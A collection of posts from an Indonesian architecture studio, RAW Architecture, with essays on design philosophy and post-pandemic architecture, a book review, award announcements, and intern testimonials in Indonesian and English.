akan mengalami proses “Siklus Detailing”, yaitu belajar dari konseptual desain, gambar konstruksi, sampai pada pengawasan. Hal-hal tersebut membentuk sebuah pemahaman dan penguasaan desain arsitektur secara holistik. . Seluruh tim studio termasuk para peserta internship akan belajar desain secara transparan dengan berbagai macam aktor, dan membentuk studio culture. Hal tersebut meningkatkan personalitas, yang dapat membangun rasa percaya diri, dan menyadari keunikan yang membuat setiap orang special. . Design by #realricharchitectureworkshop Project: (Cover) Lumintu House #rumahlumintu
Saya diminta oleh Unika Soegijapranata untuk membawakan materi “Peran Filsafat di dalam desain” untuk para mahasiswa. Kemudian saya sendiri banyak bertanya – tanya apa arti/peran filsafat di dalam praktik kami di studio RAW Architecture. Sejak dulu filsafat diyakini sebagai sebuah istilah yang berjarak, namun juga diyakini mampu menelurkan pemikiran tercanggih di jamannya. Filsafat adalah sebuah cara untuk mendapatkan kebenaran melalui verbal dan tulisan. . Hipotesanya adalah bagaimana menelusuri peran filsafat di dalam desain dan mengetahui sejauh mana dampaknya terhadap keputusan desain ? . Salah satu contoh proyek RAW Architecture, Begitu masuk ke rumah Harris dan Tiffany, yang menarik, keduanya memiliki limitasi. Yaitu renovasi rumah dengan budget terbatas, tetapi sense of art nya luar biasa. Seperti Tiffany, orangnya sangat artistik, Harris sangat rasional. Di dalam pikiran keduanya ada sebuah visi-misi. Pencampurannya menimbulkan brief yang khusus. Konsep desain muncul menggunakan struktur eksisting (ruins) dan teknik injeksi sebuah kolom-balok beton didalam struktur yang lama, bangunan itu seakan-akan dikangkangi oleh struktur yang baru dengan memberikan jalan cahaya. Itu menjadi hal yang inovatif di dalam perencanaan arsitektur. . Kemudian perkawinan begitu banyak elemen desain akan menimbulkan ledakan. Itulah Supernova, ledakan kebebasan. . Kebebasan = keterbatasan + kemampuan . Filsafat adalah belajar tentang kebebasan berpikir, bagaimana merangkai kebebasan dari kemampuan dan keterbatasan sumber daya yang dimiliki. Dan titik terpenting di dalam sebuah lompatan arsitektural adalah bagaimana merangkai banyaknya variasi elemen dan memproduksi banyaknya varietas karya arsitektur. Untuk merangkainya diperlukan kerja kolaborasi, jadi peran (aksi-reaksi) filsafat di dalam desain sangatlah penting dan dahsyat. . Ia berperan untuk menyadarkan “Hei desainer, kamu tidak sendirian ! Bangun dan Ledakkan Supernovamu” .
RAWongoing
Project: (Cover) Harris + Tiffany’s House Acara di Unika Soegijapranata .
Longlisted Dezeen Award 2022 – Emergings Architecture Studio . We are humble wanna say, Thank you @dezeen . . We got an email about good news for the RAW Architecture studio. “From over 5,400 entries from 90 countries to Dezeen Awards this year, your studio is one of 29 studios that are in the running to win an award later this year in the studio categories.” . We gather in the courtyard to discuss and appreciate others. This is a message from me to one another as hope and a reflection of our journey process, with the hope of building a culture of a studio with dialogue. We started from a simple garage, to move to another challenge The Guild and Guha and here we are, still progressing and trying our best to serve our client. . Professional architects have a basic task, which is praxis, to approach the reaction action between design methods and reflection on those methods. This is called praxis. Like playing the gamelan on the notes of piano keys. This practice operates on the basis of the concept of harmony. It means a state of freedom from prejudice and ego, which are used to acquire (paradoxically) totality. . Hopefully, the good wishes of the studio and spirit can be maintained and realized. Things that should be improved can be improved, and harmony needs to be practiced to become a good “bridge” between architecture and nature. . Greatfull to joint submission with other great architects like @ad9architects , @anarchitect_co , @archiworkshop_official , Atelier Apeiron, Atelier cnS, @atelier_xi , @buro_ziyu_zhuang , @carlesenrichstudio , @commonaccounts , @dechelette.architecture , @doetsukaritects_, @invisible_studio , @leckiestudio , @loadermonteith , @maneakella , @mudaarchitects , @nomos.architects , @bornsteinlyckefors , @peterpichler_architecture , @tagatelierdgambleite_architecture, @p.o.ar , @ruffarchitects , @studio__susanne_brorson , @tagatelierdgambleite
Hello everyone! My name is Irviananda Adenia, but everyone calls me Nanda. I am a fourth year student from Universitas Pembangunan Jaya, Bintaro, South Tangerang. As an architecture student, I am always seeking opportunities and challenges that can improve myself more, so I tried to apply for an internship at Realrich Architecture Workshop for the past three months. I do believe that RAW Architecture can provide a supportive environment to experience what I have learned in college, and joining as an intern at RAW turned out beyond all my expectations.
I can say that the past 3 months, from 6th June – 26th August 2022, were totally an incredible moment in my life. The first time I entered Guha, the atmosphere was unreal. It feels like it gives me comfort, spirit, and warmth, but also clueless and full of fear inside mine. But, that feeling of confusion disappeared immediately when I met the whole RAW team who were very humble and welcomed me happily. In just a few seconds, I can already conclude that RAW studio is full of amazing and passionate people.
As an intern, I learned a lot about the architecture world, either focusing on design or building. All designers here transfer their knowledge and perspectives on almost everything, how to develop a building concept, expertise in operating software, solving a problem in many projects, coordinating and contributing with each other, making details for construction needs, and also a professional attitude as a worker. They also remind me that architecture is not only about buildings, but also about feelings, belief, passion, and the story behind it. Not only in the scope of architecture, but I also got to know various stories and experiences about life, work, college, and education, which makes me think more to take the next step to the important moments ahead.
Thank you, Kak Rich, not only for giving me the opportunity to process here but also for teaching me many things about the community that we need to know earlier. The stories behind his experience have made me think about the important steps I must take to continue my life and education, both inside and outside the world of architecture. Thank you to all designer team, Kak Timbul, Kak Pandu, Kak Alim, Kak Riyan, Kak Tyo, Kak Rico, Kak Haykal, Kak Putra, Teh Al, Kak Gaby, Kak Melisa, Kak Kirana, Kak Audy, Kak Vyan, Ci Mei, Kak Fina, Kak Sofi, and Kak Khafyd, for giving me an appreciation, affection, and wonderful mentorship experience. Thank you for always making me laugh and making me more grateful every day. My internship friends, Zyadi, Akmal, Ryan, Damas, Manuel, Devi, and Janice, it was really nice to know you guys. Thank you for being such great friends and helping me in almost everything in Guha. I also want to say thank you to Kakak-Kakah OMAH, Bibi, and other RAW teams, for being humble and friendly to me. Once again, my life as an intern at RAW was beyond all my expectations. With all the new project work, knowledge, people, experiences, laughter, and great memories, three months feels very short. Thank you, thank you. Hopefully, we can meet again in my other favorite chapter of life.
Hi there! My name is Damas Dwinito Pradipta, but you can call me Damas. Currently, I’m studying architecture at Institut Teknologi Bandung. By the time I write this letter, I’m in the 7th semester of my study. During the last semester break, I applied to many architectural firms to do an internship program. RAW is one of the firms I applied to. I chose RAW to be on my application list because I think that RAW could give me much knowledge and experience, especially about detail and technical things.
After a long wait, finally, RAW accepted my application and gave me a chance to be an intern there. Honestly, at first, I don’t feel that delighted being accepted here because it was my last internship option. But, over time, after doing an internship here, I take all my words back. RAW fulfills all my expectations, even beyond. In Guha, how we usually called the office, I learned everything about architecture practice. Here, all the architects transfer all the knowledge sincerely. They thought me everything about architecture practice hand to hand. I learned how to be good at designing, understanding details, and enhancing visualization skills. More importantly, They broaden my perspective on architecture. I realized architecture is not only about designing things to be aesthetic. It’s all about integrity between multi-discipline. A great architect is those who are not only good at designing, but as well as communicating, and collaborating with other.
At last, I would like to thank Kak Rich to allow me to be part of this wonderful team. Thank you for being such a humble and warm person. Thanks to all the seniors there for giving me a great mentorship experience. The intern there is, inadvertently, also lively and fun. I am so glad to have them as peers. For the past 2 months, for me, Guha is not my workplace. It is a place for nurturing. I feel grateful that RAW could be part of my professional journey. I wish you all the best things to happen in your life. I hope we could meet again someday!
Dengan mengangkat judul “Urban Design, The Indonesia Experience” buku ini berisi pengalaman PSUD di dalam berpraktik di Indonesia dengan formal.
Secara urutan penulisan berusaha menjelaskan definisi kota secara umum melalui berbagai sumber, lalu menumbuhkan kesadaran kepada pembaca akan pentingnya perancangan kota yang sarat akan 3 tensi : PRODUCT, CONTEXT : INDONESIAN EXPERIENCE, URBAN DESIGN QUALITY
Kemudian dijelaskan definisi rancang kota dari sudut pandang PSUD dan elemen-elemen yang ada pada rancang kota. Penulisan ini mengarah pada penjabaran yang anatomis dan formal.
Pembahasan faktor-faktor yang mempengaruhi konteks sebuah kota di Indonesia, dari sejarah, geografi, masyarakat dan peraturan dibahas secara umum (spesifik ke kota Jakarta), belum menjelaskan hibrida kota-desa yang ada di Indonesia sebagai refleksi sejarah kota Indonesia dari sosial politik – sosial ekonomi – sosial otonomi budaya.
Pembahasan proyek-proyek yang dikerjakan oleh PSUD digambarkan berdasarkan sudut panda desainer belum sampai pada sudut pandang pengguna, aspek penilaian dalam proses analisis PSUD terhadap suatu konteks belum didetailkan.
Pembahasan proyek perancangan kota yang dikerjakan oleh PSUD disampaikan dengan sudut pandang perancang dan belum mewakili sudut pandang pengguna secara umum. Kemudian pada proses analisisnya PSUD memberi penjelasan yang tergolong singkat terkait aspek pertimbangan dalam setiap konteks perancangan kota. Keberadaan indikasi penangganan rancang kota yang disampaikan pada awal bab membantu proses analisis, namun proses klasifikasi setiap proyek dan penangganannya belum disampaikan.
Pembahasan terkait proyek ini akan menjadi lebih informatif jika berbagai aspek yang berkaitan dengan perancangan kota seperti situasi Sosial, Ekonomi, Budaya, dan Politik, serta kondisi terkini sebelum dan sesudah perancangan kota disampaikan dengan lebih dalam. Sehingga peran urban design dapat dipahami oleh pembaca.
Pada Bab Refleksi, terlihat bagaimana intensi buku masih pada tahap pengenalan urban desain kepada publik. Terlihat pula perjalanan urban design di Indonesia masih sangat muda, terasa bagaimana para desainer sudah memahami perlunya pemahaman terkait karakter DNA Indonesia, tetapi masih terasa kebingungan rumusan DNAnya seperti apa. Pelibatan ahli-ahli dari bidang lain dalam penyusunan teori mungkin dapat membantu merumuskan hal tersebut sebagai batu pijakan. Buku ini adalah pijakan pertama, jadi yang pertama pasti yang terbaik karena sampai saat ini belum ada yang kedua. Dan lebih penting untuk memulai daripada tidak mulai – mulai, kemudian memrefleksikan kembali untuk menjadi jembatan dari masa lalu ke masa depan.
Pandemi memberikan kejutan di dalam kemanusiaan kita semua termasuk dampaknya terhadap arsitektur. Arsitektur dituntut lebih peka dalam merespon standar-standar kesehatan. Hal ini sudah dipikirkan sebelumnya oleh beberapa arsitek dari 100 tahun yang lalu ataupun dari Era-Era Primitif sebelumnya.
9 tahun sesudah Pandemi spanish flu (1918) ataupun Tubercolosis, Open air school yang di design oleh Duiker and Bijvoet di tahun 1927 di Amsterdam berusaha untuk menguliti arsitektur sampai tulang-tulangnya( skeletal) yang membebaskan diri dari ornamen di mana perencanaan berbasis pada fleksibelitas ruang, kejujuran ekpos struktur keterbukaan udara dan cahaya juga bagaimana efisiensi terhadap sistem pemipaan Elektrikal dan plambing yang terpusat di central core. Pembebasan desain seperti ini menjadi penting karena seperti yang kita lihat di dalam arsitektur Open Air School ada fase di mana arsitektur diperjuangkan sampai elemen yang Esensial.
Dua tahun kemudian Alvar Aalto mendesain Rumah sakit Paimio menggunakan bentuk Lengkung dengan jendela panoramik yang bisa memberikan perasaan tanpa batas melihat ke hutan pinus yang ada di sekeliling rumah sakit. Lalu, Ia mendesain furniture, gagang, wastafel dengan memperhitungkan bahwa pengguna tidak perlu menyentuh dengan pergelangan.
Paimio dan Open Air School adalah arsitektur yang firmisanal yang merupakan definisi arsitektur yang stabil tetap dan memiliki Ketahanan terhadap berbagai macam hal termasuk materialitas dan teknologi bangunan yang establish. Di sinilah industri akan memainkan peran besar dan bagaimana Tegangan global dan lokal menjadi penting untuk perumusan metode desain. Ibaratnya belajar sampai negeri Cina negeri Italia berbagai macam benua inspirasi ada di mana mana tetapi jangan lupa belajar di mana tempatmu berada yaitu Indonesia tercinta.
Sedangkan kita juga memiliki arsitektur yang lStreetsanal yang merupakan arsitektur yang terus bergerak mengalir dan mengandalkan hal hal yang sangat mudah untuk dilakukan Yang bahkan bisa memakai material-material sekitar dan bisa jadi material sisa. Bisa jadi pendekatan kedua ini mendekonstruksi apa itu kepastian, dan mempertanyakan vernakularitas meskipun pada akhirnya hal tersebut akan bersifat tidak pasti atau eksperimental. Ibaratnya jangan lupa belajar untuk menjadi peka terhadap hal sekitar kita sekitar proyek sekitar- sekitar kita yang ini ini saja
Di tahun 2022 Melihat desain setelah Pandemi di mana hampir semua negara bergerak menuju normal. Disitulah dua buah kutub yang paradoksial itu untuk membebaskan evolusi desain setelah masa Pandemi sesuai optimalitas klien, dan konteks lokasi. Pertanyaan tentang what is need it what is true I what is necessary akan menjadi sangat penting. Sehingga metode design bisa diturunkan secara cepat tepat sekaligus berkelanjutan karena bumi ini juga punya sumber data yang terbatas.
Masa ini adalah masa yang sangat penting untuk bisa memerdekakan pikiran. Kemerdekaan tersebut menambah koleksi-koleksi arsitektur yang merupakan tahap selanjutnya yaitu arsitektur yang memerdekakan unik namun ada kesan familiaritas, Fungsional namun juga ada puisi. Kontradiksi itu yang membuat arsitektur kita kaya raya menuju masa depan.
Hari sabtu pagi saya diundang oleh program studi design interior universitas Gunadarma. Topik dari seminar kali ini adalah “Karya Sebagai Ciri Khas Diri”.
Saya bertanya-tanya tentang topik tersebut karena sebuah karya arsitektur sebenarnya juga merupakan hasil kolaborasi dengan begitu banyak pihak, bukan merupakan karya yang truly personal yang menonjolkan ciri khas diri sendiri saja.
Problematikanya, adalah setiap karya yang berdiri tidak pernah sesederhana yang terlihat. Di balik karya arsitektur ada klien yang memiliki keinginan dan kebutuhan, dari proyek residensial sampai komersial, ataupun proyek kultural sampai proyek sosial, setiap klien hadir dengan mimpi yang tidak terbatas. Disitulah arsitek perlu hadir untuk membuka sekat-sekat mimpi dari kliennya.
Dari situlah filosofi arsitektur, cara kerja, kebiasaan yang spesifik muncul dalam goresan tangan. Saya selalu meyakini arsitektur itu filosofis, hangat dan menyenangkan. Mencari klien tidak mudah, namun sekali filosofi dan sikap diri kita tepat, maka klien akan mengalir, kualitas kerja akan meningkat dan karya arsitektur akan menemukan ciri khasnya sendiri.
Permulaan mencari klien adalah titik awal, dan bagaimana mendesain supaya tepat yaitu bagaimana tetap puitis, dan juga efisien menjadi penting. Penting karena seluruh sumber daya bumi ini juga terbatas. Itulah pentingnya metode desain yang tepat. Transformasi tersebut kami lakukan di dalam RAW Architecture dimulai dari pengerjaan sayembara, kurasi, kompetisi internasional, relasi dengan klien, manajemen, sampai nongkrong di lapangan sembari menggali terus sisi kesempurnaan detail baut dan sambungan. Dibutuhkan “extra mile”.
Keseluruhan runtunan proses itu menghasilkan jawaban bagaimana mendapatkan “Karya sebagai Ciri Khas Diri” dan memiliki filosofi yang menggabungkan dunia sains dan intuisi. Dan hal ini “Indonesia banget” realitanya, dimana ada banyak lapisan, elemen, begitu disatukan membentuk kolase yang kaya di dalam arsitektur. “Broken and solid in one piece. “
Halo! Perkenalkan, saya Ryan Dwi Priyambodo, mahasiswa tahun ke – 4 Universitas Sriwijaya. Memiliki kesempatan untuk kerja praktik di RAW merupakan pengalaman saya yang sangat berharga. Di hari pertama mengunjungi studio RAW, saya dan ketiga teman saya yang memang kebetulan berasal dari satu kampus, langsung disambut hangat oleh Realrich untuk diwawancarai mengenai latar belakang maupun alasan memilih RAW sebagai tempat magang. Realrich yang sempat menjadi pembicara materi di salah satu mata kuliah kampus saya dan juga tempat yang dikenal “bergengsi” dalam dunia arsitek pun menjadi salah satu alasan saya mengapa memilih tempat ini.
Di hari awal bekerja, sudah sangat terasa perbedaannya bagaimana menjadi seorang arsitek di dunia kampus dibandingkan dunia kerja aslinya, saya diajarkan betapa pentingnya ilmu komunikasi itu, dimana skill komunikasi adalah salah satu kekurangan yang saya sedang kembangkan di diri saya sendiri. Kak Andriyan atau kak Riyan, yang memang kebetulan memiliki nama panggilan yang sama dengan saya dan lucunya kami satu universitas yang sama juga, menjadi PIC saya dalam bekerja. Banyak hal yang saya pelajari kak Andriyan maupun kakak kakak yang bekerja di RAW, dari cara bagaimana mereka berkomunikasi, mengapresiasi maupun mengajari dalam hal bidang arsitektur. Tidak hanya dalam dunia pekerjaan, kakak di RAW juga sering mengajak saya untuk pergi ke wisata bangunan arsitektur di tiap minggunya, terutama dari kak Tyo yang memang memiliki hobby jalan jalan, hampir setiap minggunya memiliki ide tujuan ke tempat tertentu. Dari acara wisata ini, juga menjadikan pengalaman buat saya untuk mempelajari bagaimana bangunan arsitektur itu
Untuk kakak kakak yang telah mengajari saya banyak hal kak Rich, kak Andriyan, kak Timbul, kak Pandu, kak Tyo, kak Haykal, kak Melisa, kak Putra, kak Adzlin, kak Rico, kak Khafyd, kak Kirana, kak Audy, kak Fian, kak Mei Mei, kak Fina, kak Shofi, kak Lulu, kak Ufi, kak Gaby dan yang mungkin saya belum sebutkan, terima kasih telah membimbing dan mengajari saya banyak hal di RAW ini, serta teman magang saya, Akmal, Zyadi, Nanda, Damas, Devi, Manuel dan Janice yang telah menemani dan mengisi hari – hari saya di RAW.
Thank You everyone for welcoming me into RAW with a warm smile, I hope to see you all again!
Hello, My name is Muhammad Zyadi. I’m a 7th-semester architecture student from Sriwijaya University. I’ve been lucky to get the chance and be part of the Realrich Architecture Workshop (RAW) as an intern. Being in RAW itself is a dream come true for me. I never thought that I would come to Guha as an intern.
I’ve been interested and always curious about architecture, from semester to semester I’ve always put my best to learn about architecture. For me, my ambition is what keeps me pushing myself. But that is where the wrong thought started to show up. That ambition created ego and it affected how I’ve been designing in architecture. All I knew was just I wanted this and that and how it can be applicable to the design even though it’s still based on analysis.
During my Internship at RAW, I learned that it’s not about me, It’s about us the architect, the client, and the site and building itself. It’s not about what I as the architect want but it’s about how we create harmony between the architect, the client, the site, and the building. All the decisions that we make will affect how the user will experience the architecture and that is crucial. RAW changed my perspective on architecture, it taught me to see wider and further but also closer at the same time. I learned a lot about design, construction and its details, visualization, the attitude to work as a team, and how to communicate our thoughts in design.
Besides architecture, I feel grateful to be able to experience my first-time “work” experience in such a harmonic supportive work environment. I never expected to get this experience in an internship. The warmest smile people have given to me since day one, the story and laugh we shared in the pantry, foyer, studio, internship room, or outside Guha with “Tyo Tour and Travel” was unforgettable. During the last few days, I tried to capture the moment as much as possible because I know the time will surely end and the moment can’t be repeated.
The first time I heard “Realrich Architecture Workshop ” the thing that appeared in my mind was that it’s just a great architecture Firm. But now, every time I hear “Realrich Architecture Workshop” every beautiful moment with all the people there is a glimpse in a split second in my mind. RAW isn’t just a great architecture firm but also a place where I learned a lot of things about architecture, a place where I met a lot of people with beautiful souls and their own character, and a place where I feel joy and endless excitement to learn about architecture and interact with the people there. RAW with Guha as its office is a beautiful place but what is inside is way more beautiful.
Thank you kak Rich for the opportunity and mentorship, thank you to everyone inside the studio, and omah for everything, I’m not sure that every single one of you constantly interacted with me but one thing I can be sure of is all of you are written in one of my favorite chapters of my life. Wishing you the best everywhere you go, you guys deserve good things in life.
Hi everyone, my name is Muhammad Akmal, as of writing this I am a 21 years old uni student riding along life with a huge passion for architecture. The passion which I’ve been brewing since the first time I heard the term ‘architect’ when I was little. But speaking honestly here, for the most part, I was blind and basically second-guessing the meaning behind the term, I find myself chasing the title more than what’s being held by it. Realizing the problem, I had always tried to put myself in a different environment from time to time. this time I reached out to Realrich Architecture Workshop for an internship program and was fortunate enough to be accepted.
Throughout the short time I was there I was able to learn so much more than I could tell, for the first time I was taught to put more meaning behind architecture, to realize that architecture is a journey of my own, and to cherish every step I took along the way. The experience I had as an intern in RAW make me think more critically about the environment and people around me and foremost about myself and my daily life. RAW taught me the ability to see architecture in the most detailed way and as wide as I could at the same time, to consider any and everything that my mind can reach.
Throughout my time as an intern in RAW, my passion for architecture grows even more, and my thirst for knowledge along with it. I am very grateful to Kak Rich for giving me this opportunity and to teach me a lot of things about architecture, be it design, development, and also philosophical matters. And also, I would like to thank all my seniors there for taking the time out of their packed schedules to teach me about all sorts of things from architecture and software to other important things such as life lessons. Lastly, to my new RAW architecture family, I wish you the best of the best.
Proses saya mengenal Omah Library mungkin tidak berbeda dengan kebanyakan manusia lain, melalui kelas, buku, dan perpustakaan uniknya. Saya pikir mengetahui eksistensinya sudah cukup bagi saya, ternyata satu situasi di akhir masa studi membuat saya memiliki cerita dengan Omah Library. Memutuskan untuk mengerjakan tugas akhir saya dengan bermagang di Omah Library cukup menjadi tantangan bagi saya, mahasiswa Desain Interior dari institusi seni yang jauh dari tempat ini. Riset, menulis, dan berpikir kritis bukan hal biasa bagi generasi saya. Namun entah, saya menikmati momen ketika menulis jurnal untuk tugas mingguan selama studi. Saya mengunjungi beberapa karya desain interior dan arsitektur yang jauh hanya untuk merasakan pengalaman seutuhnya, dan ingat ini untuk jurnal mingguan yang biasa. Mendapat keleluasaan untuk memutuskan memilih tempat bermagang, saya memberi kesempatan kepada diri saya sendiri untuk mencoba yang sudah saya ketahui tapi tidak pernah mendalaminya. Mengirimkan surat lamaran magang dan menunggu adalah perasaan terburuk tapi menyenangkan bagi saya. Mendapat kabar baik dan bisa segera memulai magang di Omah Library rasanya kabar terbaik pada saat itu.
17 minggu tepatnya saya di Omah Library. Pada beberapa minggu pertama cukup membuat saya bingung, mengerjakan hal yang pernah saya kerjakan namun dengan sudut yang berbeda. Terbiasa mengikuti ‘aturan’ dan diajak untuk lebih berekspresi. ‘Beyond’ kata kunci yang selalu saya gumamkan ketika tulisan saya ‘mentok’ dan menulis menjadi hal yang sempat saya takutkan. Namun beberapa waktu ini, ketika saya mulai beradaptasi dengan pola ‘bersenang-senang’ Omah Library dan bagaimana setiap manusia berperan di dalamnya, sangat membantu saya dalam menempatkan diri. Bertemu dengan Eric Dinardi, satu fotografer arsitektur yang saya sukai karyanya, mewawancarai para arsitek mumpuni yang saya bahkan tidak bermimpi untuk dapat berbicara dengan Pak Gunawan Tjahjono, Pak Danang Priatmodjo, Yonav Partana, Patrisius Marvin, Bu Nelly dan Pak Deddy dari LABO. Dibandingkan dengan saya pada hari pertama ketika di Omah Library, saat ini tentu sangat berbeda. Saya hanya menikmati proses ‘bersenang-senang’ disini, bagaimana hal kecil dan biasa selalu dianggap dari satu hal yang besar. Bagaimana setiap ide dieksekusi bersama tanpa ekspektasi yang membebani, hanya ‘bersenang-senang’.
Terima kasih Omah Library untuk waktu dan ceritanya, untuk Kak Rich, Kak Ufi, Kak Nirma, Kak Lulu, Kak Farhan, Aul, dan Maria rekan magang meski hanya sebulan.
Perkenalkan nama saya Evanjelicel Tamio Dimpudus, mahasiswa tahun keempat arsitektur Universitas Pelita Harapan. Secara pribadi saya kagum dan sudah mempelajari beberapa karya RAW baik melalui buku, publikasi online dan juga sosial media, terlebih ketika saya mengunjungi dan menikmati secara langsung The Guild dan sekolah Alfa Omega. Bagi saya belajar aritektur adalah tentang rasa penasaran dan pertanyaan; tentu ini sangat menyenangkan dan menantang, namun sudah saatnya tantangan itu tidak datang lagi dari sesuatu yang bersifat fiktif seperti soal di studio. Pemikiran ini muncul karena saya merasa sangat tidak memahami dunia arsitektur ketika bekerja dilapangan secara langsung. Saya sudah mengerjakan beberapa proyek terbangun, seperti rumah dan instalasi, namun saya merasa masih kurang profesional dalam menangani proyek-proyek tersebut. Disitu saya sadar bahwa arsitektur perlu dipelajari dari ahlinya; saya ingin mendapat tempat dan mentor yang tepat untuk meningkatkan kualitas dan profesionalitas diri serta arsitektur yang akan saya bangun kedepannya dan RAW Architecture adalah komunitas yang tepat untuk semua itu.”
“RAW Architecture terasa seperti sekolah bagi saya. Saya rasa kesempatan belajar di RAW adalah pengalaman sensasional yang menunjang masa depan saya dalam berarsitektur. RAW itu cair bagaikan air; “You must be shapeless, formless, like water. When you pour water in a cup, it becomes the cup. When you pour water in a bottle, it becomes the bottle. When you pour water in a teapot, it becomes the teapot. Water can drip and it can crash. Become like water my friend.” Begitu kata Bruce Lee. Bersama RAW selama 3 bulan saya merasa seperti berada di komunitas rohani, merasa berada di warung kopi, merasa berada di acara keluarga, merasa berada di lingkungan akademisi bahkan merasa berada di acara stand up comedy (dan masih banyak universe RAW yang belum terjelajahi). Sebuah komunitas yang cair dan kaya akan pengalaman, pelajaran dan kebersamaan. Tak lupa komunitas ini juga sangat terbuka bagi lingkungan sekitar; sore bisa bermain bersama anak-anak,dan jajan es juga telur gulung di dekat ring basket.Tak hanya manusianya, arsitektur Guha The Guild pun memberikan kenyamanan bagi lingkungan sekitar dengan micro climatenya.
Dear kak Realrich Sjarief, seorang yang jatuh cinta kepada arsitektur, seorang yang bahkan tujuan hidupnya adalah arsitektur, pertama-tama terimakasih. Saya sempat tepuk jidat dan mikir “Segitunya ya buat arsitektur”. Dan Ketika berpikir lagi sebenarnya jika saya adalah seorang arsitek, saya harus memiliki mindset seperti ini. Kak Rich juga sangat senang berbagi, dan Ketika weekly meeting di hari senin yang paling saya tunggu sebenarnya adalah sharing dari kak Rich. Saya sangat bersyukur pernah dibimbing oleh kak Rich.
Untuk kakak-kakak yang sudah menjadi mentor saya terutama Kopan (kak Pandu), kak Riyan dan kak Timbul, terimakasih atas rangkulan dan ilmu yang hangat. Kak Khafyd dan kak rico yang jadi temen ngobrol. Kak Tyo, bang Putra, kak Melisa, kak Adzlin, kak Vvyan, kak Mei, kak Fina, Sofi, bang Haykal, kak Kirana, kak Vivi,dan kak Satria juga mewarnai keadaan studio dan pengalaman saya bersama RAW terimakasih. Tentu tak lupa 2 manusia dari Petra yakni Gabi dan Angel sebagai magangers RAW kalian fantastis!. Juga kepada teman-teman dari OMAH tulisan kalian dapat merubah arsitektur Indonesia.
Akhir kata, bagi kon kawan yang membaca tulisan ini, orang-orang yang aku sebutin dan kagumi di atas adalah orang-orang yang sangat hebat. Sangat senang berada di sini dan menantikan apa yang akan RAW bawa ke dunia.
Hello! I’m Angel, a fellow learner, and explorer who’s also currently studying architecture at Petra Christian University Surabaya. Was born and raised in Surabaya for 21 years. In my last year as an undergraduate student, I decided to do an internship program in RAW to expand my exploration, and get new experiences as well as new perspectives on architecture and life.
The 24th of November, 2021 is the day RAW offered me a chance to do the internship program which I had applied for 3 months before. I still remember the feeling of waiting and how excited I got when Kak Yudith contacted and offered me the internship program. To be honest, the journey to get to that day wasn’t easy, and I guess that’s what makes that day so special. Through this letter, I would like to express my gratitude to the RAW family, especially Kak Rich and Kak Yudith, for giving me a chance to learn, meet, and work with amazing people in RAW Studio.
These past 4 months, RAW hadn’t only become my workplace but also my home. To work in RAW, I had to leave Surabaya, the place where I grew up and live for 21 years. Surabaya was my comfort zone, but I am glad that I had decided to step out of it, even for only a few months. Within 4 months in RAW, I had learned and gained a lot of knowledge and experiences which gave me a whole new perspective on architecture, the world, and even life. I learned new things that can only be obtained through field experience. I learned that architecture, details, construction, craftsmanship, and communication are inseparable. But, the thing I am most grateful for is that I was never alone. Going through this big change and process of knowing architecture, myself, and life, I was lucky enough to experience it with the best people in the world:) RAW has taught me that architecture is also about being part of a community and family. I believe that creating amazing architecture, also takes amazing teamwork and community.
During my internship, every once in a while, Kak Rich brought up this question “what is our purpose in life?”. This got me thinking, “what do I want in life?”, “where am I heading to?”, “is architecture part of my purpose in life?”. I have been trying to find the answer to these questions, until this one moment. I remember when my mentor had to leave and continue her own journey outside RAW. Kak Rich had mentioned that she had “touched” everyone with her presence and her relationship with others. At that moment, I thought, how beautiful it is? If one is able to touch someone with their presence. That thought made me reflect on myself. I guess for now I decided that my purpose is to be able to touch people with everything that I do, whether through my works in architecture or even through my actions towards others. Therefore, I am also thankful to Kak Rich, for bringing up questions that we were all afraid to ask ourselves.
4 months had passed so quickly. For all the knowledge, experience, wisdom, laughter, and memories, I thank everyone. No words can’t describe how grateful I am to spend the last 4 months in this new home. Thank You Kak Rich for being such a humble person and for creating a supportive environment in RAW, Thank You everyone for welcoming me into RAW with a warm smile, I hope to see you all again!
Dari lebih dari 5.400 entri dari 90 negara ke Dezeen Awards tahun ini, Piyandeling Artisan House yang didesain oleh studio kami adalah salah satu dari 322 proyek arsitektur yang sedang dalam proses untuk memenangkan penghargaan akhir tahun ini dalam kategori arsitektur.
Dezeen telah menyusun halaman khusus untuk proyek tersebut di situs web Dezeen Awards:
Entri ini akan direview kembali oleh para panelis panel dari tokoh industri terkemuka kami, yang akan memutuskan proyek mana yang akan dimasukkan dalam daftar pendek kami dan pada akhirnya pemenang di setiap kategori. Daftar pendek akan diumumkan dari 5 hingga 9 September, dan pemenang akan diumumkan pada bulan November.
Pemungutan suara publik Dezeen Awards 2022 juga akan dibuka pada bulan September untuk memungkinkan pembaca memilih proyek dan studio favorit mereka. Ini terpisah dari proses penjurian Dezeen Awards utama, di mana entri dinilai oleh panel juri profesional mereka.
We wanna thank really much to the curator of the TAB series Yann Follain from @wyto_architects described a need of looking in the region as an act of an act of togetherness, and @cosentino.asia. He put together curatorial note in new book in about ETAB lecture series. Yann wrote beautiful phrase that showing urgency of cultures, and being together for sustainability agenda “… Southeast Asia, the differences in practices and cultures have provided new vantage points on how we may innovate to advocate for the sustainability agenda.
We do not claim to know all the answers to every question, but our minds always remain open for growth and progression in thought. We see in the development of society that discoveries and new methodologies evolve over time. What may be considered revolutionary today could eventually be seen as unmistakably evident, and that is the beauty of progress and change in societies.
We as Architects, Designers & Craftsmen need a fresh change in perspective, to prevent us from just going with the flow as we practice and hone our skills. We need to reboot and think of creative solutions, even if means stepping out from the flurry of urban life just to Consider the impact of the daily decisions that we make, as we move into the new beginnings in 2022.
Let’s return to the “why” not just “what” is next.
We slowed down for this journey in the Making of Architecture. We shared generously through our project exchanges. We are now ready to invoke change.”
@realricharchitectureworkshop are delighted to be featured Together with another 15 architects curated by in TAB and eBook by Consentino, as joint forces in southeast Asia with Marc Webb & Naoko Takenouchi @naoko_takenouchi_, Mike Lim @mikelim_dpdesign & ER Yong Siew Omn, William Ti @entrari, Pan Yi Cheng @pan_yi_cheng, Alan Tay @alantay_formwerkz, Adela Askandra @adelaaskandar & Farah Azizah @farahazzizh, Goy Zhenru @goy_architects , Victor Lee & Jacqueline @plystudioarchitects , Chatpong Chuenrudeemol @chatpongc , Jonathan Quek & Koh Kari Li, Tiah Nan Chyuan, Andrian Lai.
“We are closer and stronger”
please look at the @Cosentino ig for the procedure of reading the free E book.
Cited from website : “The fantastical Indonesia home of Realrich Sjarief is defined from the exterior by its broad circular windows and draping plants, but inside, it’s much harder to define. Gohu means cave, and indeed the concrete structure feels like a place for discovery just like a cave. Age-old materials like bamboo are combined with steel and plastic to create a truly unique, 21st-century building.”
